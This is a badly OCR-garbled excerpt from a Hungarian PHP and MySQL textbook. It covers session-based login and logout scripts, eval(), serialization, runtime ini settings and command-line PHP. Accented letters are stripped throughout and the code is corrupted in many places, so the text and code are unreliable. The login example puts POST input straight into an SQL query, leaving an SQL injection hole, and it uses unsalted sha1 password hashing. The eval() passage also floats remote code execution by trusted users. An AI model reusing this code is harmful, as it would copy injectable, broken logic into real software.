ges rlapot (felletet), msrszt ez a kd egyttal az rlap ltal meghvott mvelet, harmadrszt a sikeres s sikertelen bejelent
kezsi ksrletre vlaszu! adott HMTL kdot is tartalmazza.
A kd mkdse az ervenyes_felhasznala munkamenet-vltoz krl forog.Az alapgondolat az, hogy ha valaki
sikeresen bejelentkezik, akkor ltrehozunk egy $_SES SI ON ['ervenyes_felhasznalo' J

nev, az felhasznli azonost

jt tartalmaz munkamenet-vltozt.
Els lpsnk a kdban a session_start() fggvny meghvsa. Ez betlti az ervenyes felhasznala munkame
_

net-vltozt, feltve, hogy az mr ltre lett hozva.


Amikor elszr fut le a kd, az if feltteles utastsok egyike sem teljesl, gy a felhasznl a kd vgre jut, ahol kzljk
vele, hogy mg nem jelentkezett be, s megjelentjk szmra az erre szolgl felletet:
echo '<form method="post" action="hitelesites.php">';
echo '<table>';

Munkamenet-vezrls PHP-ben

357

echo '<tr><td>Felhasznli nv:<ltd>';


echo

'<td><input type="text" name="felhasznaloi nev"><ltd><ltr>';

echo '<tr><td>Jelszo:<ltd>';
echo '<td><input type="password" name="jelszo"><ltd><ltr>';
echo '<tr><td colspan="2" align="center">';
echo '<input type="submit" value="Bejelentkezs"><ltd><ltr>';
echo '<ltable><lform>';

Amikor a felhasznl a bejelentkezsi fellet .. Bejelentkezs" gombjra kattint, jbl meghvjuk a kdot, s annak ele
jrl indul minden jra. Most azonban mr rendelkeznk a hitelestshez szksges felhasznli nvvel s jelszval, ami
s a $_POST['jelszo'] vltozban van eltrolva. Ha ezek a vltozk lteznek, a hite

a$_POST['felhasznaloi_nev' l

lesr kdblokkba j urunk:


if (isset($_POST['felhasznaloi nev'])

&&

isset($ POST['jelszo']))

{
ll ha a felhasznl megprbl bejelentkezni
$felhasznaloi_nev = S_POST['felhasznaloi_nev'];
$jelszo = $ POST['jelszo'];

$adatbazis kapcsolat = new mysqli('localhost',

'webauth',

'webauth',

'auth');

if (mysqli_connect_errno())
echo 'Nem sikerlt csatlakozni az adatbzishoz: '.mysqli_connect error();
exit();

$lekerdezes

'SELECT

FROM jogosult felhasznalek '

."WHERE nev='$felhasznaloi_nev' "


. " AND
Seredmeny

j elszo=shal('Sjelszo')";

$adatbazis_kapcsolat->query($lekerdezes);

MySQL adarbzishoz kapcsoldunk, s ellenrizzk a felhasznli nevet s jelszc. Amennyiben tallunk megfelel nv
jelsz prt, ltrehozzuk a $_SESSION['ervenyes_ felhasznalo'] vlcozt, amely az adott felhasznl felhasznli nevt
tartalmazza. Ezzel a ksbbiekben kveeni tudjuk, hogy ki is az, aki be van jelentkezve:
if ($eredmeny->num_rows)

ll ha benne vannak az adatbzisban,

jegyezzk fel a felhasznli azonostjukat!

$_SESSION['ervenyes_felhasznalo'] = $felhasznaloi nev;

$adatbazis kapcsolat->close();

Mivel tudjuk, hogy ki a felhasznl, nem szksges neki jbl megjelenteni a bejelentkezsi felletet. Helyette kzljk vele,
hogy tudjuk, ki , s felkinljuk a kijelentkezs lehetsgc:
if (isset($_SESSION['ervenyes_felhasznalo']))

echo 'Bejelentkezve '.$ SESSION['ervenyes_felhasznalo'] .' felhasznli nven<br l>';


echo '<a href="kijelentkezes.php">Kijelentkezs<la><br l>';

Ha a felhasznl megprblt bejelentkezni, de az valamilyen oknl fogva nem sikerlc, akkor bireokunkban lesz ugyan a fel
hasznli neve, de a $_ SESSION [ 'ervenyes_felhasznalo'] vltoz nem, ezrt hibazenetet jelentnk meg neki:
if (isset($felhasznaloi_nev))

ll ha a felhasznl megprblt,

de nem tudott bejelentkezni

echo 'Sikertelen bejelentkezs.<br l>';

Ennyi a kd f rsze. Nzzk meg mosc a ragoknak fenntartott oldalakat! Ennek kdja a 23.5 pldakdban lthat.

23

358

23.fezet

23.5 pldakd: csak_tagoknak.php-A honlap tagoknak fenntartott rsznek kdja ellenrzi a Jelhasznlk jogosultsgt
<?php
session start();
echo '<hl>Tagoknak fenntartott tartalmak</hl>';

ll munkamenet-vltoz ellenrzse
if (isset($ SESSION['ervenyes felhasznalo']))
echo 'Bejelentkezve '.$_SESSION['ervenyes felhasznalo'] .' felhasznli nven<br />';
echo '<p>Ide kerlnek a tagoknak fenntartott tartalmak</p>';

else
echo '<p>Nincs bejelentkezve.</p>';
echo '<p>Csak bejelentkezett felhasznlk tekinthetik meg az oldalt.</p>';

echo '<a href="hitelesites.php">Vissza a nyitoldalra</a>';


?>

A kd egyszeren elindt egy munkamenetet, majd azt ellenrizve, hogy a$_SESSION['ervenyes_felhasznalo']


vltoz rtke meg van-e adva, megllaptja, hogy az aktulis munkamenet tartalmaz-e regisztrlt felhasznlt. Amennyiben
a felhasznl bejelentkezett, megjelentjk szmra a tagoknak fenntartott tartalmat, ellenkez esetben kzljk vele, hogy
nincs jogosultsga annak megrekintsre.

23

Vgezetl a kijelentkezes.php kd kilpteti a felhasznlt a rendszerbl. A kdot a 23.6 pldakd tartalmazza.


23.6 pldakd: kijelentkezes.php -A kd trli a munkamenet-vltozt, s megsznteti a munkamenetet
<?php
session start();

ll eltrolni azt megllaptand,

hogy be volt-e jelentkezve

$regi felhasznala = $_SESSION['ervenyes felhasznalo'];


unset($_SESSION['ervenyes_felhasznalo']);
session_destroy();
?>
<html>
<body>
<hl>Kijelentkezs</hl>
<?php
if (1empty($regi felhasznalo))
echo 'Sikeresen kijelentkezett.<br />';

else

ll ha bejelentkezs nlkl kerltek erre az oldalra


echo 'Nem volt bejelentkezve,

gy nem tud kilpni sem.<br />';

?>
<a href="hitelesites.php">Vissza a nyitoldalra</a>
</body>
</html>

Munkamener-vezrls PHP-ben

359

A kd egyszer, de itt is furnunk kell egy krt. Elindtjuk a munkamenerer, elrroljuk a felhasznl rgi felhasznlnevr, t

rljk az e r ve n yes_ fe l has z na l o vltozr, majd megsznretjk a munkamenerer. Ezr kveten zeneret jelentnk meg
a

felhasznlnak, amelynek rarralma arrl fgg, hogy sikeresen kijelenrkezerr, vagy be sem volt jelentkezve.
A mosr lrorr kdok egyszer sorozara alkotja majd az alapjr annak a sok munknak, amir a ksbbi fejezerekben elvgznk.

Tovbbi olvasnival
A srikrl bvebben a htrp://wp.nerscape.com/ newsreff std/cookie_spec.hrml oldalon olvashatunk.

Hogyan tovbb:
Ezzel egy fejezet hjn befejeztk a knyv ezen rszr. Mielrr tovbblpnnk a nagy projekrekre, rviden mg megismerke
dnk a PHP ms fejezerekben nem trgyalt, mgis hasznos funkciival.

23

24
Tovbbi hasznos lehetsgek
PHP ben
...

A PHP szmos olyan, hasznos fggvnnyel s funkcival is rendelkezik, amely nem volt beilleszthet az eddig trgyalt rmak
rkbe. A fejezetben ezeket fogjuk bemutatni.
Az albbi fbb tmakrkkel foglalkozunk:
Karakterlncok kirtkelse az
Vgrehajts lellrsa a

die

eval ( )

fggvnnyel

s az exit urasrssal

Vltozk s objektumok szerializlsa


Informcigyjts a PHP-krnyezetrl

A futtatsi krnyezet tmeneti megvltoztatsa


Forrskd sznkiemelse
PHP hasznlata parancssorban

Karakterlncok kirtkelse az eval () fggvnnyel


Az eval () fggvny PHP kdknt rtkeli a karakterlncokat. Az
eval

"echo 'Hell,

vilg';" );

urasrs pldul fogja a szering tartalmt s vgrehajtja. Ez a sor ugyanazt a kimenetet eredmnyezi, mint az
echo 'Hell,

Az eval

()

vilg';

fggvny szmos esetben hasznunkra vlhat. Kpzeljk el pldul azt, hogy a kdblokkokat adatbzisban trol

juk, hogy a ksbbiekben valamikor vgrehajtsuk azokat! Az is elkpzelhet, hogy ciklusban lv kdot szeretnnk ellltani,
majd az eval () segtsgvel egy ksbbi idpontban lefuttatjuk.
Az eval () fggvnyt leggyakrabban azonban taln a sablonokkal vgzett munka sorn hasznljuk. Kpzeljk el, hogy
adatbzisbl HTML, PHP s egyszer szveg tetszleges kombincijt tltjk be! Sablonrendszernkkel megfelel form
zst alkalmazharunk a kdra, majd az eval ( ) fggvny meghvsval brmilyen PHP kdot lefuttatharunk.
A fggvny kivlan alkalmas meglv kd frisstsre vagy kijavtsra is. Ha komolyabb mennyisg olyan kdunk len
ne, amely elrelthatlag mdostsra fog szorulni, rhatnnk olyan programot, amely karakterlncba tlti be a rgi kdot,
a regexp futtatsval vgrehajtja a vltoztatsokat, majd az eval () fggvnnyel futtatja a mdostott kdot. (Elvileg ugyan
valban megrehetjk ezt, mgsem ez a leghatkonyabb megolds az ilyen esetekre.)
Akr az is megoldhat a fggvnnyel, hogy nagyon megbzhat felhasznlknak lehetsget adjunk PHP kd tvoli, bng
szn keresztli bevitelre s a kiszolgln val futtatsra.

Vgrehajts lelltsa: die () s ex i t ()


A knyv eddigi rszben az exit nyelvi elemet kd futtatsnak lelltsra hasznltuk. Emlkezhetnk r, hogy nmagban
szerepel a kdban, egszen pontosan gy:
exit;

Nincsen visszatrsi rtke. Alkalmazhatjuk helyette aliasr, a die () fggvnyt is.


Hasznosabb tehetjk a kd lelltst, ha paramtert adunk t az ex i t () fggvnynek. Ezzel a mdszerrel hibazenetet
jelenthetnk meg. vagy akr fggvnyt futtatharunk a kd lelltsa eltt. Ez a megkzelts minden bizonnyal ismersnek hat
a Perl-programozk szmra. Pldul:
exit('A

kd most

vget r');

362

24. fejezet

Ennl azonban gyakrabban elfordul, hogy az OR opertorral egytt hasznljuk ezeker az utastsokat. Ebben az esetben
a kd lellrsra akkor kerl sor, ha az utasts, pldul f:ijl megnyitsa vagy adarbzishoz kapcsolds nem sikerl:
mysql_query($lekerdezes) or die('A lekrdezst nem sikerlt vgrehajtani');

Pusztn a hibazenet megjelentse helyett meghvharunk mg egy, a kd lelltsa eltti utols fggvnyt:
function err_msg()

return 'MySQL hiba: '.mysql-'-error();

mysql query($lekerdezes) or die(err_msg());

Ezzel a mdszerrel kzlhetjk a felhasznlval, hogy milyen hiba trtnt a kdban, lezrharunk HTML elemeket, vagy
trlhetjk a flksz oldalakat a kimeneti pufferbL Lehetsgnk nylik akr arra is, hogy komolyabb hiba esetn e-mailben
ttestsk sajt magunkat, hozza<ljuk a hibkat a naplfjlhoz, vagy kivtelt vltsunk ki.

Vltozk s objektumok szerializlsa


A szerializls {angolul serialization, magyarul sorosrsnak is nevezhetnnk) PHP vltozban vagy PHP objektumban trolt
adat talaktsa adatbzisban trolhat vagy URL-en keresztl oldalrl oldalra tadhat bjtfolyamm {karakterlncc). E fo
lyamat nlkl nehzkes lenne tmb vagy objektum teljes tartalmnak eltrolsa vagy tadsa.
A munkamenet-vezrls {session control) megjelense ta a szerializls vesztett jelentsgbL Az adatszerializlst jellem
zen olyan tpus dolgokra hasznltuk, amelyeket ma mr inkbb munkamenet-vezrlssel valsrunk meg. A munkamenet
vezrl fggvnyek tulajdonkppen a munkamenet-vltozkat szerializljk annak rdekben, hogy HTTP krsek kztt
eitraihassk azokat.
Arra azonban tovbbra is szksg lehet, hogy PHP tmbt vagy objektumot fjlban vagy adatbzisban troljunk el. Ehhez
kt fggvny, a serialize () s az unserialize () hasznlatr kell megismernnk.
A serialize() fggvnyt a kvetkezkppen hvjuk meg:
$szerializlt_objektum = serialize($sajat objektum);

Ha nem egyrtelm szmunkra, hogy pontosan mir tesz a szerializls, nzzk meg a serialize () fggvny ltal vissza
adott rtket! A fenti sor karakterlncc alaktja az objektum vagy tmb tartalmr.
Nzzk meg a serialize( ) futtatsnak eredmnyt egy egyszer, a kvetkezkppen definilt objektumon, amelynek
egy pldnyt is ltrehozza az albbi kd:
class alkalmazott

24

var $nev;
var $alkalmazott id;

$this_emp = new alkalmazott;


$this_emp->nev = 'Ferenc';
$th1s emp->alkalmazott_ld = 5324;

Ha szerializlruk az objektumot, s megjelentjk a bngszben, a kimenet a kvetkez lesz:


O:ll:"alkalmazott":2:{s:3:"nev";s:6:"Ferenc";s:14:"alkalmazott_id";i:5324;}

Knnyedn felfedezhetjk az eredeti objektum s a szerializlt adar kztti kapcsolatot.


Mivel a szerializlt adar egyszer szveg. adatbzisba rhatjuk, vagy brmilyen neknk tetsz dolgot vgrehajtharunk vele.
Szveges adat adatbzisba rsa eltt ne feledkezznk meg a mysql_real_escape_string () fggvny hasznlatrl, ami
vel vdkarakterrel lrharjuk el a klnleges karaktereket! Az elbbi szerializlr karakterlncban lv idzjelek is jelzik ennek
szksgessgt.
Ha szerernnk visszakapni objektumunkat, az unserialize () fggvnyt kell meghvni:
$uj_objektum = unserialize($szerializlt_objektum);

Az osztlyok szerializlsval vagy munkamener-vlrozknt trtn hasznlarukkal kapcsolatban mg egy fontos dolgot
meg kell emltennk: a PHP-nek az osztlypldny helyrelltsa eltt tisztban kell lennie az adott osztly szerkezetvel, ezrt
a session_start() s az unserialize () fggvny meghvsa eltt be kell illesztennk a kdba az osztlydefincit tar
talmaz llomnyt.

Tovbbi hasznos lehetsgek PHP-ben

Informcigyjts

363

PHP-krnyezetrl

Szmos fggvnnyel gyjthetnk informcit a PHP konfigurlsrL

Milyen bvtmnyek lettek betltvd


A get_loaded_extensions() s a get_extension_funcs() fggvny segtsgvel egyszeren kiderthetjk, hogy
milyen fggvnykszletek, illetve azokon bell mely fggvnyek rhetk el.
A get_loaded_extens ions() fggvny az adott pillanatban a PHP szmra elrhet fggvnykszletek tmbjt adja
vissza. Ha a get_extension_funcs () fggvnynek egy adott fggvnykszlet vagy bvtmny nevt adjuk meg, az abban
a kszletben lv fggvnyek tmbjt kapjuk vissza.
A 24.1 pldakd ezt a kt fggvnyt hasznlva tudatja velnk, hogy PHP-teleptsnk milyen bvtmnyek melyik fggv
nyeit teszi elrhetv szmunkra.
24.1 pldakd: fuggvenyek_ listaj a. php -A PHP

szmra elrhet bvtmnyek, illetve az azokban lvJggvnyek listzsa

<?php
echo

'A telepts

$bovitmenyek

ltal tmogatott fggvnykszletek:<br

/>';

get_loaded_extensions();

foreach ($bovtmenyek as $egyes_bovitmenyek

echo

"$egyes_bovitmenyek <br />";

echo

'<ul>' ;

$bovitmenyek_fuggvenye1

= get extension funcs($egyes bovitmenyek);

foreach($bovitmenyek_fuggvenyei as $fuggveny)

{
echo

"<li> $fuggveny </li>";

echo '</ul>';

?>

Lthatjuk, hogy a get_loaded_ extensions () fggvnynek nincsenek paramterei, a get_extension_funcs ()


pedig egyeden paramtert, a bvtmny nevt vrja.
A kd kimenetben rallhat informcik birtokban meggyzdhetnk arrl. hogy sikeresen teleptettk-e valamely b
vtmnye, illetve akkor is hasznos lehet, ha teleptskor rtelmes hibazeneteket elllt, opercis rendszerektl fggetlen,
hordozhat kdot prblunk meg rni.

A kd tulajdonosnak azonostsa
Az ppen fut kd tulajdonost a get_current_user() fggvny meghvsval llapthatjuk meg:
echo get_current_user();

Az informci elssorban jogosultsgi problmk megoldsban lehet segtsgnkre.

A kd utols mdostsi idpontjnak megllaptsa


Gyakran lthatjuk

az

interneten, hogy az egyes oldalakon megjelentik a tartalom utols mdostsnak dtumt. A kd utols

mdostsnak idpontjt a getlastmod () fggvnnyel derthetjk ki. Figyeljk meg, hogy a fggvny nevben nincsen alul
vons! A kvetkezkppen hasznljuk:
echo date('g:i a, j

Y',getlastmod());

A getlastmod() fggvny Unix idblyeggel tr vissza, amit a date () fggvnynek tadva kapunk az emberi szem sz
mra olvashat dtumot.

24

364

24. fejezet

A futtatsi krnyezet tmeneti mdostsa


Lehetsgnk nylik a php.ini fjlban megadott belltsok megtekintsre,illetve az adott kd lettartama alatti mdos
tsra. Klnsen hasznos lehet ez pldul a max_execution_time direktva esetben,ha rucljuk,hogy a kd futtatsa az
ebben a belltsban meghatrozott rtknl tovbb fog tartani.
A belltsokhoz az ini _get () s az ini_set () fggvnyprossal frnk hozz,illetve mdosthatjuk azokat. A 24.2
pldakd ezen fggvnyek hasznlatra mutat egyszer pldt.
24.2 pldakd: iniset.php-A php.inifjl

vltozinak tlltsa

<?php
$regi_max_execution_time = ini_set('max_execution time',
echo "idtllps rgi hatra:

120);

$regi_max_execution_time <br

/>";

$max_execution tme = ini get('max execution tme'l;


echo

"idtllps j

hatra:

$max_execution time <br

/>";

?>

Az ini_set(l fggvny kt paramtert fogad. Az els a php.ini azon konfigurcis direktivjnak a neve,amit mdo
stani kvnunk,a msodik paramter pedig a hozzrendelni kvnt j rtk. A fggvny visszatrsi rtke a direktva elz
rtke.
A pldban a kd maximlis futsi idejt az alaprtelmezett 30 msodperces (vagy a php. ini fjlban meghatrozott ms)
rtkrl l 20 msodpercre lltjuk t.
Az ini_get() fggvny egyszeren csak ellenrzi egy adott konfigurcis direktva rtkr. A fggvnynek karakterlnc
knt kell tadni a direktva nevt. Itt most pusztn arra hasznljuk,hogy ellenrizzk,tnyleg megvltozott-e az adott rtk.
Nem minden ini bellts mdosthat gy. Minden direktivhoz tartozik egy szint,amelyen az adott direktva bellthat.
A lehetsges szintek a kvetkezk:
PHP_INI_USER-Az ini_set(l fggvnnyel kdjainkban is bellthatjuk ezeket az rtkeket.
PHP_INI_PERDIR-Apache hasznlata esetn a php.ini vagy a . htaccess vagy a httpd.conf fjlokban m
dosthatjuk ezeket az rtkeket. Az,hogy a .htaccess fjlokban is mdosthatk,azt jelenti,hogy ezeket az rtkeket
akr knyvtranknt is megvltoztathatjuk -innen a szint neve (per-directory).
PHP_INI_ SYSTEM -A php.ini s a httpd. conf fjlokban llthatjuk be ezeket az rtkeket.
PHP_INI_ALL -Az sszes elbb emltett mdon-vagyis kdban,. htaccess f:ijlban vagy a httpd.conf vagy

24

php. ini

fjlokban-mdosthatjuk az ilyen rtkeket.

Az ini belltsok teljes listjt,illetve mdosthatsgi szintjeiket a PHP kziknyv http://www.php.net/ini_set cmen
elrhet oldaln talljuk.

Forrskd sznkiemelse
A PHP- sok ms integrlt fejlesztkrnyezethez (IDE) hasonlan-beptett szintaktikai sznkiemelvel rendelkezik. Ez
elssorban akkor igazn hasznos,ha megosztjuk msokkal,vagy weboldalon tesszk kzz kdunkat.
A show_source () s highlight_file (l fggvny egymssal teljesen megegyezik. (A show_source(l fggvny tulaj
donkppen a highlight_file() aliasa.) Mindkt fggvny fjlnevet vr paramterknt. (Az llomnynak PHP fjlnak kell
lennie,klnben nem fogunk rtelmes eredmnyhez jutni.) Nzzk meg a kvetkez pldt:
show_source('fuggvenyek_listaja.php'l;

A f:ijl ekkor gy jelenik meg a bngszben,hogy klnbz elemei,gy a sztringek,a megjegyzsek,a kulcsszavak s
a HTML ms-ms sznnel vannak kiemelve. A kimenet valamilyen httrsznerr jelenik meg. A fenti kategrikba nem tartoz
kdelemek az alaprtelmezett sznnel jelennek meg.
A highlight_string() fggvny is hasonlan mkdik,m a fjlnv helyett karakterlncot vr paramterknt, s azt
jelenti meg a bngszben szintaktikai sznkiemelssel.
A kiemelshez hasznlt szneket a php. ini fjlban vlaszthatjuk ki. A mdosthat rsz ehhez hasonlan nz ki:
;

Colors for Syntax Highlighting mode

#DDOOOO

highlight.string =

#FF9900

highlight.comment
highlight.keyword

#007700

Tovbbi hasznos lehetsgek PHP-ben

highlight.bg

365

*FFFFFF

highlight.default #OOOOBB
highlight.html #000000

A sznek a hagyomnyos HTML RGB formtumban vannak megadva.

PHP hasznlata parancssorban


Hasznos rud lenni, ha kis programokat runk vagy tltnk le, majd parancssorbl futtatjuk ket. Unix rendszer alatt ezek
a programok ltalban shell programozsi nyelven vagy Perlben rdnak. Windows alatt ltalban ktegelt (batch) fjlknt
rjuk ezeket.
A legtbben webes projektek kapcsn tallkoznak a PHP-vel, de a szvegfeldolgoz funkcii, amelyek miatt oly hatkony
webfejleszt nyelvnek tartjk a PHP-t, egyben kivl parancssori segdalkalmazss is teszik.
Hromflekppen lehet PHP kdot a parancssorbl futtatni: fjlbl, pipe-on keresztl vagy kzveclenl a parancssorbL
Fjlban lv PHP kd futtatshoz elszr is gyzdjnk meg arrl, hogy a futtathat PHP fjl (ami opercis rendszernktl
fggen php vagy php.e xe) az elrsi tvonalunkban van, majd paramterknt a kd nevt tadva hvjuk meg! Pldul:
php myscript.php

A myscript.php egy teljesen ltalnos PHP fjl, amely PHP cmkken (tag) bell tartalmaz minden szoksos PHP
szintaktikt.
Brmilyen program kapcsoldhat a PHP-hoz pipe-on keresztl, ha annak kimenere rvnyes, a PHP rtelmez ltal vgre
hajthat kdot eredmnyez. A kvetkez plda az echo programot hasznlva ad egysoros programot:
echo '<?php for($il; $i<l0; $i++) echo $i; ?>' l php
A PHP kdot itt is PHP cmkk (<?php s?>) fogjk kzre. Fontos megjegyezni, hogy ez itt az echo parancssori prog
ram, nem pedig PHP utasts.
Egy ilyen jelleg, egysoros prograrnot egyszerbb lenne kzvetlenl parancssorbl futtatni, mint az albbi pldban:
php -r

'for($il;

$i<l0; $i++)

echo $i;'

Itt kicsit msrl van sz. A karakterlncban radott PHP kd nincsen PHP cmkk ltal kzrefogva. PHP cmkk haszn
lata esetn szintaktikai hibt kapnnk.
A parancssori hasznlatra rhat hasznos PHP programok kre szinte korltlan. rhatunk PHP alkalmazsainkhoz tele
ptket. sszethetnk gyors kdot a szveges fjlok adatbzisba importls eltti tformzsra. Akr olyan kdot is lt
rehozhatunk, amely a parancssorban rnk vr, ismtld feladatokat vgzi el helyettnk. J plda erre egy olyan kd, amely
a fejlesztshez hasznlt kiszolglnkrl az lesben mkd szerverre msolja t az sszes PHP fjlt, kpet s MySQL tbla
szerkezetet.

Hogyan tovbb?
A Gyakorlati PHP s MySQL projektek fejlesztse cm V. rszben viszonylag sszetett, a vals vilgban is hasznos projekteket
ptnk PHP s MySQL segtsgve!. Pldkat ltunk olyan feladatokra, amelyekkel vals fejlesztseink sorn tallkozhatunk,
illetve zelitt kapunk abbl, hogy sszetett projektek esetn hogyan dolgozzunk a PHP-vel s a MySQL-lel.
A PHP s a MySQL hasznlata nagyobb projektekben cm 25. fejezet olyan krdskrkkel foglalkozik, amelyek akkor me
rlnek fel, amikor nagyobb projektekhez runk PHP kdot. Megismerkednk az olyan szoftverfejlesztsi fogalmakkal, minr
a tervezs, a dokumentci s a vltozskezels.

--

24

v
Gyakorlati PHP s MySQL
projektek fejlesztse

25

A PHP s a MySQL hasznlata nagyobb projektekben

26

Hibakeress

27

Felhasznli hitelests megvalstsa s szemlyre szabott tartalom megjelentse

28

Kosr funkci programozsa

29

Webalap levelezszolgltats ltrehozsa

30

Levelezlistakezel alkalmazs fejlesztse

31

Webes frum fejlesztse

32

Perszonalizlt PDF dokumentumok ellltsa

33

Kapcsolds az Amazon Web Services fellethez XML s SOAP segtsgvel

34

Web 2.0s alkalmazsok fejlesztse Ajaxprogramozssal

25
A PHP s a MySQL hasznlata

nagyobb projektekben
A knyv korbbi fejezereiben a PHP s a MySQL szmos alkotelemt, illetve azok hasznlatt mutattuk be. Ugyan prbl
tunk ehhez izgalmas s relevns pldkat keresni, ezek jellemzen egyszer, legfeljebb egy vagy kt szkriptbl s legfeljebb szz
sorbl ll kdok voltak.
Amikor valdi webes alkalmazst ksztnk, a kdirs ritkn ennyire egyszer. Nhny vvel ezeltt egy "interaktv" webol
dal legfeljebb egy zenerkld rlapbl llt. Napjainkra azonban a honlapok webes alkalmazss - vagyis az interneten keresz
tl hasznlt szoftverr - nttk ki magukat. A funkcibeli vltozs mretbeli vltozst eredmnyezett. A weboldalak az gyes

kis kdokbl tbb ezer soros programokk nttek. Az ilyen mret projektek a brmely ms szaftverfejlesztshez is szksges
tervezst s irnytst ignylik.
Mieltt a knyv elttnk ll rszben szerepl projektekkel foglalkoznnk, vizsgljunk meg nhny olyan mdszert,
ami a nagymret webes projektek menedzselsre is alkalmas! Mivel folyamatosan fejld terletrl beszlnk, nyilvnva
lan nehz dolog rla rk igazsgokar rni. Ha aktulis informcira van szksgnk a tmban, rdemes krlnznnk
a webfejleszts piacn is.
A fejezetben az albbi fbb tmakrkkel foglalkozunk:
A szaftverfejleszts gyakorlatainak alkalmazsa webfejlesztsre
Webes alkalmazs projekljnek tervezse s megvalstsa
Kd tbbszri felhasznlsa
Kezelhet kd rsa
Verzikvets megvalstsa
A fejlesztkrnyezet kivlasztsa
A projekt dokumentlsa
Prototpuskszts
A mkds, a tartalom s a megjelents sztvlasztsa: PHP, HTML s CSS
Kdoptimalizls

A szoftverfejleszts gyakorlatainak alkalmazsa webfejlesztsre


A szaftverfejlesztshez szisztemarikus s mennyisgileg kifejez (szmszerst) megkzeltsre van szksg. Fogalmazhat
nnk gy is, hogy a szaftverfejleszts mrnki elvek betartst ignyli.
A szaftverfejleszts gyakorlatai ugyanakkor szemmel lthatan hinyoznak a webes projektek nagy rszbl - s ennek
kt oka van. Az els, hogy a webes fejlesztst gyakran az rsos anyagok elksztshez hasonlan kezelik. Olyan feladatknt,
amelynek egyik rsze a dokumentum struktrjnak kialakitsa, msik rsze a grafikus dizjn megtervezse, a harmadik
pedig maga a dokumentum elksztse. Ez a dokumentumkzpon ru megkzelts kivlan alkalmas lehet kis- s kzepes
mret, statikus oldalak esetben. De ha egy weboldal dinamikus tartalmnak arnya eljut arra a szintre, hogy az oldal sokkal
inkbb szolgltatsokat, rnintsem puszta dokumentcit knl a ltogatknak, akkor ez a megkzelts mr nem helynval.
Sokan egyszeren nem is gondolnak arra, hogy a webes projektekhez a szaftverfejleszts gyakorlatait alkalmazzk.
Ezek mellzse msrszt azrt fordul el, mert a webes alkalmazsok fejlesztse tbb szempontbl eltr a hagyo
mnyos alkalmazsok fejlesztstL A webes fejlesztk sokkal rvidebb hatridkkel dolgoznak, lland nyoms alatt
llnak, hogy az oldalt most azonnal el kell kszteni. A szaftverfejleszts arrl szl, hogy a feladatokat sorban, tervezett
mdon hajtjk vgre, kell idt hagyva a tervezsre. Webes projektek esetn gyakran alakul ki az az rzs, hogy egysze
ren nincsen id tervezni.

370

25. fezer

Ha elmulasztjuk megtervezni webes projektjeinker, ugyanazokba a problmkba futunk bele, minrha szaftveres projektnl
kvetnnk el ezt a hibt. Az eredmny rosszu vagy hibsan mkd alkalmazs, be nem tartott hatridk s rtekinrheteden
kd lesz.
A trkk teht az, hogy beazonostjuk a szaftverfejleszts azon elemeir, amelyek a webes alkalmazsok fejlesztsnek j vil
gban is mkdnek, a tbbit pedig egyszeren hagyjuk figyelmen kvl!

Webes alkalmazs projektjnek tervezse s megvalstsa


Sajnos nem lrezik a webes projektekhez legjobb mdszer vagy projekrlerciklus. Szmos olyan dolog van ugyanakkor, amivel
rdemes lehet foglalkozni. Ezeker itt most felsoroljuk, majd nmelyiker bvebben is megtrgyaljuk a kvetkez rszekben. Nem
fonros, hogy az itt szerepl sorrendben foglalkozzunk velk, ha projektnk gy kvnja, nyugodran trjnk el ettl! A hangsly
azon van, hogy legynk risztban ezekkel a krdsekkel, s talljuk meg a projektnk esetben mkd mdszereket.
Kezds eltt gondoljuk vgig, hogy mit prblunk meg ltrehozni! Gondoljuk vgig a cljainkat! Ki fogja hasznlni
webes alkalmazsunkat - vagyis ki lesz a clkznsg Szmos mszakilag rkletes webes projekt bukott meg azrt,
merr senki nem verte a fradsgot, hogy urnanzzen, a felhasznlkar vajon rdekli-e egy ilyen alkalmazs.
Prbljuk meg alkalmazsunkat alkotelemekre bontani! Milyen rszekbl vagy rszfolyamatokbl ll az alkalmazs
Hogyan fognak ezek az alkotelemek mkdni Hogyan illeszkednek egymshoz Ksztsnk forgarknyveker,
storyboardokar, vagy tekintsnk t esettanulmnyokarl
Ha megvagyunk az alkotelemek lisrjval, nzzk meg, melyik ltezik mr kzlk! Ha egy korbban megirt modul
a kvnt funkcikkal rendelkezik, gondolkodjunk el hasznlarnl Ne csak szervezetnkn bell, hanem azon kvl is
keressnk meglv kdok urn! Klnsen a nylt forrskd kzssgben igaz, hogy szmos, mr meglv alkotelem
ingyenesen elrhet. llaprsuk meg, hogy milyen kdokar kell a nullrl kiindulva megrni, s ez durvn mekkora mun
kr fog jelemenil
Hozzuk meg a fejlesztsi folyamarral kapcsolaros, annak egszt befolysol, alapvet dntseket! Ez az a lps, amit
a webes projektekben tl gyakran elmulasztanak megtenni. Az ilyen krdsek kz tartoznak pldul a kdolsi szabv
nyok, a knyvrrstrukrrk, a verzikvers kezelse, a fejlesztsi krnyezet, a dokumentcis szinr s szabvnyok, illetve
a csapattagok kzrri feladarkioszts.
Ksztsnk a fenti informcik birtokban prototpusri Murassuk meg a felhasznlknak!
Ne feledjk, hogy fonros s egyben hasznos dolog elklniteni alkalmazsunk mkdsi logikjt s tartalmr! Rvide
sen rszleresebben is kifejtjk ennek fontossgt.
Hajtsuk vgre a szksgesnek gondolt optimalizlsi lpseker!
Menerkzben ppolyan gondossggal reszteljnk, ahogy brmilyen ms szaftverfejlesztsi projekt esetn tennnk!

Kd tbbszri felhasznlsa
A programozk igen gyakran eikvetik azt a hibt, hogy mr meglv kdot jra megirnak. Miurn risztban vagyunk vele,
hogy az alkalmazshoz milyen alkotelemekre vagy fggvnyekre van szksgnk, ellenrizzk a fejleszts megkezdse eltt,
hogy azok rendelkezsre llnak-e!

25

A PHP minr programnyelv egyik erssge a bepterr fggvnyknyvrra. Mindig nzzk meg, hogy egy meglv fggvny
nem pont azt teszi-e, amire neknk szksgnk van! ltalban nem tl nehz dolog megtallni a kvnt fggvnyt. Clszer
lehet ennek rdekben fggvnycsoportonknt bngszni az online kziknyvet.
Elfordul, hogy a programozk vletlenl jra megirnak fggvnyeket, merr nem nztek urna a kziknyvben, hogy lre
zik-e az ltaluk ignyelt funkcit berlt fggvny. Tegyk a kziknyv weboldalr kedvenceink kz! Ne felejtsk el azt sem,
hogy az online kziknyver elg gyakran friss tik! A jegyzetekkel elltott online kziknyv bsges informciforrs, merr
ms felhasznlk megjegyzseit, javaslatait s minrakdjait tartalmazva gyakran pontosan azokat a krdseket vlaszolja meg,
amelyek a sima kziknyv olvassa kzben felmerlnek bennnk. Gyakran mr az eltt tartalmaz hibajelentseket s azokar
